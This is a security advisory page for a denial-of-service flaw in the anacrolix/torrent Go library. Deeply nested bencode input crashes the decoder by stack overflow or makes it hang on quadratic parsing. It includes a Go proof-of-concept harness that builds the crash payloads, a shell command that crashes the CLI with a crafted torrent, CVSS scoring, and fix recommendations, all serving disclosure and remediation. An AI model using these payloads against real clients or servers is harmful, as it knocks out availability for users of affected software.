Skip to main content
← All vulnerabilities
GHSA-2WRX-84QJ-4PCG

anacrolix torrent has unbounded recursion in the bencode decoder that causes stack-overflow crash and CPU-exhaustion DoS

Affects github.com/anacrolix/torrent before 1.61.1-0.20260911233437-76452a2c8a2f in clients that accept metadata from peers for magnet/v2 downloads. The fix is in 1.61.1-0.20260911233437-76452a2c8a2f.

Published
Last modified
published
Not listed in CISA KEV
Specific setups only
Medium (ghsa)
Fix
Fixed in 1.61.1-0.20260911233437-76452a2c8a2f
None on Exploit-DB, Metasploit or GitHub

Summary

The anacrolix/torrent Go library, which is used by applications that parse BitTorrent metainfo (including its command-line tools and any server or client that opens .torrent files or accepts metadata from peers for magnet/v2 downloads), is affected by this flaw. A specially crafted torrent file or peer-supplied metadata with extremely deeply nested structures can crash the process from stack overflow or consume excessive CPU time during decoding, causing denial of service.

Summarized by anthropic/claude-haiku-5.5. Verify details against the original sources.

Read the original description

anacrolix/torrent's bencode decoder (`bencode/`) applies no limit on the nesting depth of nested dictionaries and lists. Two distinct denial-of-service mechanisms follow from that single root cause, both reachable from a single crafted `.torrent` file or from metadata obtained from a peer on a magnet-link/v2 download: 1. Stack-overflow process crash. `Decoder.readOneValue` recurses once per nesting level with no depth bound. A `.torrent` whose `info` value is a list nested a few million levels deep (≈8 MB file) drives the recursion past the 1 GiB goroutine-stack limit and the process dies with an unrecoverable `fatal error: stack overflow`. 2. Quadratic CPU exhaustion. `metainfo.FileTree.UnmarshalBencode` (BitTorrent v2) re-parses each subtree at every level, making parse time grow ~O(n²). A v2 info dict with a ~30,000-level file tree (≈0.2 MB) takes ~66 s to decode; 60,000 levels exceeds 90 s of decode time. Affected: every application embedding `github.com/anacrolix/torrent` that ingests attacker-supplied metainfo - the CLI tools (`cmd/torrent`, `cmd/torrent2`), any server that opens `.torrent` files, or any client that accepts metadata from a peer for a magnet/v2 download. No depth limit has ever existed in the decoder. Vulnerability Details All file:line references are against the pinned commit `4ad31c5170787215c51c6ddaa54abc06b623c11c`. Root cause - no recursion/depth limit in the bencode decoder `bencode/decode.go` implements three independently unbounded recursive parsers. There is no depth counter and no `MaxDepth`/nesting guard anywhere in `bencode/` or `metainfo/`. Defect 1 - `readOneValue` recursion (`bencode/decode.go:546-549`) ```go case 'd', 'l': // read until there is nothing to read for d.readOneValue() { } // <- recurses once per nested dict/list level, unbounded ``` `readOneValue` is invoked by `Decoder.parseUnmarshaler` (`bencode/decode.go:591`) whenever a decoded field implements `bencode.Unmarshaler`, which includes `bencode.Bytes` - the type of `MetaInfo.InfoBytes` (`metainfo/metainfo.go:17`). So decoding a normal `.torrent` routes the entire `info` value through this recursion. Stack usage is ~256 bytes per level (consistent with the observed ~4M-level crash at the 1 GiB goroutine-stack limit), so nesting `l` a few million levels deep exhausts the 1 GiB default goroutine-stack limit. Go's stack overflow is a `fatal error` - it is not a recoverable panic, so the `recover()` in `Decoder.Decode` (`bencode/decode.go:35-55`) cannot intercept it, and the whole process terminates. Entry points that reach `readOneValue` with attacker-controlled bytes: • `metainfo.Load` (`metainfo/metainfo.go:35`) / `metainfo.LoadFromFile` (`metainfo.go:50`) - decoding a `.torrent` file; the `info` value becomes a `bencode.Bytes` unmarshaler field. • `Client.AddTorrent` / `Client.AddTorrentFromFile` -> `metainfo.LoadFromFile` (`client.go:1776` inside `AddTorrentFromFile`), and `TorrentSpec.InfoBytes` -> `setInfoBytesLocked` -> `bencode.Unmarshal(b, &info)` (`torrent.go:638`) - peer-fetched metadata. For the remote-peer path (magnet-link/v2 download), peer-supplied metadata pieces are reassembled and passed to `setInfoBytesLocked` once complete (`torrent.go:1874`). The accepted metadata size is capped at `maxMetadataSize = 16 MiB` (`global.go:18`), which comfortably admits the ≈8 MB Defect-1 payload and the ≈0.2 MB Defect-2 payload, so both defects are reachable from an untrusted peer, not only from a locally-opened `.torrent`. Defect 2 - `FileTree.UnmarshalBencode` recursive re-parse (`metainfo/file-tree.go:42-49`) ```go for key, bytes := range dir { var sub FileTree err = sub.UnmarshalBencode(bytes) // <- recurses once per file-tree level, and each call re-runs // bencode.Unmarshal over its entire subtree ``` `FileTree` implements `bencode.Unmarshaler` (`file-tree.go:53`), so the `file tree` field of a v2 info dict (`metainfo/info.go:33`) routes through it. Each level calls `sub.UnmarshalBencode`, which starts with `bencode.Unmarshal(bytes, &dir)` over the whole remaining subtree. A file tree nested `D` levels deep therefore performs O(D) `bencode.Unmarshal` calls, each over an O(D)-sized payload - O(D²) total parse work. The steady state is a CPU-bound single goroutine, so the embedding process simply hangs. Reachability: any `bencode.Unmarshal` into `metainfo.Info`, including the peer-metadata path `setInfoBytesLocked` (`torrent.go:638`) for a magnet/v2 download, and `MetaInfo.UnmarshalInfo` (`metainfo/metainfo.go:61-64`). Sanitizers / existing limits that do NOT apply • `Decoder.MaxStrLen` (`bencode/decode.go:787-791`, default 128 MiB) bounds a single string value; it is never consulted by `readOneValue` (`decode.go:564` does `io.CopyN(&d.buf, d.r, length)` with no `MaxStrLen` check) and does not bound dict/list nesting depth. • The existing fuzzers (`bencode/fuzz_test.go`) only round-trip `interface{}` values; small fuzz inputs cannot synthesize the millions of nesting levels needed to trip the stack limit, which is why this has evaded them. Impact • Denial of service / availability (complete process crash). A single ~8 MB `.torrent` file, or ~8 MB of metadata from a malicious peer, crashes the embedding application with `fatal error: stack overflow` (Defect 1). The crash is not recoverable in-process. For a server that ingests user-submitted torrents or runs a long-lived swarm, this is a trivial remote DoS: seed a torrent whose metainfo nests lists deeply, and any client that fetches the metadata dies. • Denial of service / availability (CPU starvation). A ~0.2-0.6 MB v2 info dict with a deeply nested file tree pins a core for ~66 s to minutes and blocks any other decode work sharing the process (Defect 2). Threat actor: an unauthenticated remote peer (v2/magnet metadata, within the allowed 16 MiB metadata size - `global.go:18`) or a local user opening a malicious `.torrent`. The remote-peer case is the higher-reachability/cloud scenario; the local-file case requires the victim to open one file (conservative `UI:R`). Headline CVSS 3.1 base `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` = 6.5 (remote, low-complexity, unauthenticated, requires the victim to open a torrent or receive peer metadata, single-process availability loss); for applications that ingest torrents with no user interaction (programmatic server ingestion), UI becomes `N`, raising it to 7.5. CWE-674 (`Uncontrolled Recursion`) is the precise root cause for Defect 1; CWE-407 (`Inefficient Algorithmic Complexity`) covers Defect 2. Per-metric justification (headline 6.5 vector, `UI:R`): • Attack Vector (AV): Network - the trigger is peer-supplied metadata (magnet/v2 download, within the 16 MiB metadata budget) or a `.torrent` file opened by any client of the library; no local access required. • Attack Complexity (AC): Low - the payload is a deterministic list-nesting pattern in metainfo; no race, heap grooming, or special environment. • Privileges Required (PR): None - feeding metainfo to the decoder is the unprivileged, public API usage. • User Interaction (UI): Required - the conservative remote scenario needs the victim to open a magnet/torrent (or accept a peer's metadata); programmatic server ingestion removes this (UI:N -> 7.5). • Scope (S): Unchanged - the impacted security authority is the embedding process itself. • Confidentiality (C): None - no data disclosure. • Integrity (I): None - no data modification. • Availability (A): High - Defect 1 terminates the process with `fatal error: stack overflow` (unrecoverable); Defect 2 starves a core for ~66 s+ per 0.2 MB v2 info dict with clean quadratic scaling. Reproduction Steps All runs are local-only within the test host; nothing contacts a network. Environment and single harness The harness is a single Go program (`go test`-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces both defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run): ```bash go mod init torrent_recursion_dos go mod edit -require github.com/anacrolix/torrent@v1.61.0 go mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout go test -run TestDefect1_StackOverflow -v . go test -run TestDefect2_CPUExhaustion -v . ``` Harness (`torrent_recursion_dos_test.go`, placed in a temp module that imports the local clone): ```go package torrent_recursion_dos import ( "bytes" "fmt" "os" "testing" "github.com/anacrolix/torrent/bencode" "github.com/anacrolix/torrent/metainfo" ) // buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a // valid .torrent: { "info": <that list> }. func buildInfo(depth int, mode byte) []byte { var b bytes.Buffer b.WriteString("d4:infod") for i := 0; i < depth; i++ { b.WriteByte(mode) // 'l' for a nested list } for i := 0; i < depth; i++ { b.WriteByte('e') } b.WriteString("ee") return b.Bytes() } // buildV2Info builds a v2 info dict whose "file tree" nests `depth` single-key // dicts around a valid 32-byte-pieces-root file leaf. func buildV2Info(depth int) []byte { leaf := map[string]interface{}{ "": map[string]interface{}{ "length": 5, "pieces root": string(bytes.Repeat([]byte{'A'}, 32)), }, } node := leaf for i := 0; i < depth; i++ { node = map[string]interface{}{"a": node} } info := map[string]interface{}{ "meta version": 2, "piece length": 32768, "file tree": node, } out, _ := bencode.Marshal(info) return out } // Defect 1: metainfo.Load on a .torrent with a deeply nested info list // derives a fatal `goroutine stack exceeds 1000000000-byte limit`. func TestDefect1_StackOverflow(t *testing.T) { depth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs in := buildInfo(depth, 'l') if len(os.Getenv("SKIP_CRASH")) == 0 { // Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so // this drives readOneValue recursion. Crashes the process. _, err := metainfo.Load(bytes.NewReader(in)) _ = err } fmt.Printf("[defect1] decoded depth=%d without crashing\n", depth) } // Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic. func TestDefect2_CPUExhaustion(t *testing.T) { depth := 30_000 // ~0.2 MB; ~66 s on this machine src := buildV2Info(depth) var info metainfo.Info if err := bencode.Unmarshal(src, &info); err != nil { t.Fatal(err) } fmt.Println("[defect2] parsed deep v2 file tree") } ``` Observations with the pinned commit (Go 1.26, laptop): ``` TestDefect1 - process aborts, unrecoverable: runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow [exit status 2] TestDefect2 - wall-clock parse time (single-threaded): depth=30_000 => ~66 s depth=60_000 => >90 s (timeout) ``` To reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the `metainfo.Load` API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as `d4:infod` + 4,000,000 `l` + 4,000,000 `e` + `ee`: ```bash ./cmd/torrent -seed -metainfo ./crash.torrent # crashes ``` The payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon). Recommendations 1. Add a nesting-depth limit to the decoder (recommended, fixes both defects). Thread a depth counter through `parseValue` / `parseDict` / `parseList` / `parseValueInterface` / `parseListInterface` / `parseDictInterface` / `readOneValue`, and return a `SyntaxError` when it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it on `Decoder` like the existing `MaxStrLen` (`bencode/decode.go:21-32`). 2. Make `readOneValue` length-aware. Apply the same `MaxStrLen` bound to the `io.CopyN(&d.buf, d.r, length)` at `bencode/decode.go:564` instead of trusting the raw length field, so oversized bulk fields fail as `SyntaxError` instead of being buffered. 3. Break the O(n²) in `FileTree.UnmarshalBencode`. Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-running `bencode.Unmarshal` on every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. Convert fatal overflow into a recoverable error. Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely on `recover()` - a stack overflow is `fatal` and unrecoverable in Go. 5. Fuzz with depth in mind. Add a fuzz seed / corpus that includes deeply nested `d`/`l` values and assert both that decoding returns an error (not a crash) and that no level trips the depth limit. References • Source (pinned): `https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c` • Unbounded recursion: `bencode/decode.go:546-549`, `bencode/decode.go:591` • File-tree recursion: `metainfo/file-tree.go:42-49` • Public entry points: `metainfo/metainfo.go:35-50`, `client.go:1776`, `torrent.go:638` • Missing `MaxStrLen` in bulk read: `bencode/decode.go:564` • Metadata size cap (remote reachability): `global.go:18`, reassembly call `torrent.go:1874` • Prior hardening in this codebase (unrelated to this class, recorded for completeness): • v2 pieces-root panic fix: commit `7218a979` ("validate v2 file tree pieces root length before torrent setup"), present at the pinned commit via `misc.go:92` -> `file-tree.go:164`. • Path-traversal safeguards in storage (`storage/file-paths.go:32` `isSubFilepath`, `storage/safe-path.go:16` `ToSafeFilePath`) - inspected and found to hold (not the issue here). • No published advisory found: OSV.dev and NVD return no records for the package (`github.com/anacrolix/torrent`, purl `pkg:golang/github.com/anacrolix/torrent`); the Go ecosystem advisory database lists none.

Timeline

  1. Advisory published
  2. Record last updated
  3. First seen by cve.now

Affected versions

  • github.com/anacrolix/torrentGo

    fixed in 1.61.1-0.20260911233437-76452a2c8a2f

References 3

GitHub · anacrolix/torrent

FAQ

Questions about GHSA-2WRX-84QJ-4PCG

What does this mean?

A deeply nested bencode input makes the decoder recurse without limit. This can crash the process with an unrecoverable stack overflow, or pin a CPU core during quadratic decoding of a deeply nested v2 file tree.Source: github.com

Am I affected, and how do I check?

Versions of github.com/anacrolix/torrent before 1.61.1-0.20260911233437-76452a2c8a2f are in scope. The exposed setup is a client that accepts metadata from a peer for a magnet/v2 download. To check a project's version, run go list -m github.com/anacrolix/torrent or look at the module line in go.mod.Source: github.com

What should I do about it?

Upgrade github.com/anacrolix/torrent to 1.61.1-0.20260911233437-76452a2c8a2f or later.Source: github.com

Is it being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data